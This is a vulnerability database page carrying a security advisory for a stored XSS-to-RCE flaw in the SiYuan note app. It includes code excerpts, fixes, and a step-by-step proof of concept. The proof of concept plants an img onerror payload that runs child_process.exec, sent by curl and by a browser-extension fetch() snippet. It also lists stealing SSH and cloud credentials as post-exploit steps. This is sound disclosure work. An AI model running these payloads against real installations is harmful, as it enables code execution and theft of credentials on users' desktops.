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CVE-2026-44670 — Vulnerability in...

CRITICAL

SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE

Published May 8, 2026Updated June 8, 2026Source: osv

Summary

## Summary The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution. Payload is stored on disk under `data/storage/av/<id>.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV. ## Details **Kernel write — no escape.** `kernel/model/attribute_view.go:3244-3255`: ```go attrView.Name = strings.TrimSpace(operation.Data.(string)) attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ") if 512 < utf8.RuneCountInString(attrView.Name) { attrView.Name = gulu.Str.SubStr(attrView.Name, 512) } err = av.SaveAttributeView(attrView) // ← no html.EscapeString ``` **Kernel template — raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`: ```go const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>` // ... tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID) tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw ``` **Sink #1 — AV body header → outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`): ```ts <div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div> // ... e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`; ``` Same pattern in `kanban/render.ts:227` and `gallery/render.ts:142`. **Sink #2 — Doc title attribute strip → innerHTML.** `app/src/protyle/header/Title.ts:396-403`: ```ts response.data.attrViews.forEach((item: { id: string, name: string }) => { avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span>&nbsp;`; }); nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`; this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML; ``` **Sink #3 — WebSocket `updateAttrs` push → innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`: ```ts const escapeHTML = Lute.EscapeHTMLStr(data.new[key]); if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; } else if (key === "name") { nameHTML = `...${escapeHTML}...`; } else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; } else if (key === "memo") { memoHTML = `...${escapeHTML}...`; } else if (key === "custom-avs" && data.new["av-names"]) { avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`; // ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above } // ... attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP; ``` The four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed. **Renderer posture — RCE multiplier.** `app/electron/main.js:407-411`: ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` **Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == ""`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass. ## Suggested fix 1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution. 2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557. 3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content. 4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`. 5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- ## Reproduction (copy-paste-ready) Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell. ### Prereqs 1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default). 2. **Verify the kernel responds:** ```sh curl -s http://127.0.0.1:6806/api/system/version ``` Expected output (single line of JSON): ```json {"code":0,"msg":"","data":"3.6.5"} ``` 3. **Pin shell variables** for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once. ### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds) The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor: 1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**). 2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`. 3. Capture the AV ID — the most recently written file in that directory: ```sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID" ``` Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.) 4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set: ```sh DOC_ID=<root-block-id-of-the-doc-containing-the-AV> ``` ### Step B — Plant the XSS payload as the AV name The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string. ```sh curl -s -X POST $API/api/transactions \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF { "session": "x", "app": "siyuan", "transactions": [{ "doOperations": [{ "action": "setAttrViewName", "id": "$AV_ID", "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">" }], "undoOperations": [] }] } EOF ``` Expected response: ```json {"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]} ``` ### Step C — Verify the unescaped storage ```sh python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])" ``` Expected output (the raw HTML as stored — `print` does not escape `"`, so they appear as literal quotes): ``` <img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')"> ``` ### Step D — Trigger In the SiYuan desktop client: 1. Switch away from the doc that contains the AV (open another doc, or close the tab). 2. Re-open the doc containing the AV (`$DOC_ID`). 3. The AV body header is rendered via `genTabHeaderHTML` → `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `<img>` tag, fails to load `src=x`, and fires `onerror`. 4. **Calculator (or `xcalc` / `open -a Calculator`) launches.** If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open. ### Step E — Browser-extension attack vector (the realistic remote path) A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Steps B's curl-equivalent via `fetch()`: ```js // Inside any extension content/background script fetch('http://127.0.0.1:6806/api/transactions', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ session: 'x', app: 'siyuan', transactions: [{ doOperations: [{ action: 'setAttrViewName', id: '<av-id-discovered-via-prior-recon-fetches>', data: `<img src=x onerror="require('child_process').exec('xcalc')">` }] }] }) }); ``` The extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees. A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**. ### Cleanup ```sh # Remove the test doc (also removes the AV binding in the doc) curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" # Manually delete the AV file rm -f $WS/data/storage/av/$AV_ID.json # Restart SiYuan to clear in-memory state ``` ## Impact - **RCE on the victim's desktop** with the user's privileges, no extra prompt after the trigger condition is met. - **Persistent** — payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates. - **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers). - After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` — kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot. - **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.

Advisory Timeline

  • First published May 8, 2026 (157 days ago).
  • Last revised June 8, 2026 — 31 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/siyuan-note/siyuan/kernel to 0.0.0-20260512140701-d7b77d945e0d or later
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260512140701-d7b77d945e0d

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/siyuan-note/siyuan/kernel
go
All versions0.0.0-20260512140701-d7b77d945e0d

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-44670?
SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
How do I check if my project is affected by CVE-2026-44670?
CVE-2026-44670 affects github.com/siyuan-note/siyuan/kernel. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44670 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.6

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-2h64-c999-c9r6
GO-2026-4992

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